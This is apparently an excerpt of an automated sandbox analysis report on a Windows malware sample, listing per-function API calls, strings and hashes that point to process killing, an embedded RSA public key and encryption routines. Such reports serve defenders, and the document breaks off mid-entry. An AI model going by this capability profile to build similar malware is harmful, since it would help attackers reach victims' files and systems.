GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

fopen(', xrefs: 00465611
',', xrefs: 0046560B
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 73675a20a9300cbfb3356ca09084d0b3dfcbde4a4269266388fce0caa3adac80
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,75AF4E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: 5fa74c7d7786d9736789cd888e3a9012ff726927bfd7197f9539f6e134ee4e5e
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: 5fa74c7d7786d9736789cd888e3a9012ff726927bfd7197f9539f6e134ee4e5e
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 94f28f2bd365f659ac135929e936896833fc16c0c3216fb720cbe6a8c79e94ff
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 94f28f2bd365f659ac135929e936896833fc16c0c3216fb720cbe6a8c79e94ff
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

ENCRYPTED, xrefs: 004633BC
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
Proc-Type: , xrefs: 0046337C
DEK-Info: , xrefs: 00463422

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

+, xrefs: 00457475
, xrefs: 00457482
0123456789abcdef, xrefs: 004574C4
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

reason(%lu), xrefs: 00450758
error:%08lX:%s:%s:%s, xrefs: 00450792
func(%lu), xrefs: 00450734
lib(%lu), xrefs: 0045071C

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(00000001,00000000,0042520D,00420CE9,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
.\crypto\pem\pem_lib.c, xrefs: 00463097
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzzVYb8CErbW\/pFkhLDyb\\n9IMnMjZ6LXzFZ8VEK4FVwrK, xrefs: 00419EC4
p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzzVYb8CErbW\/pFkhLDyb\\n9IMnMjZ6LXzFZ8VEK4FVwrK$p2Q
API String ID: 2102423945-914387669
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00630000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
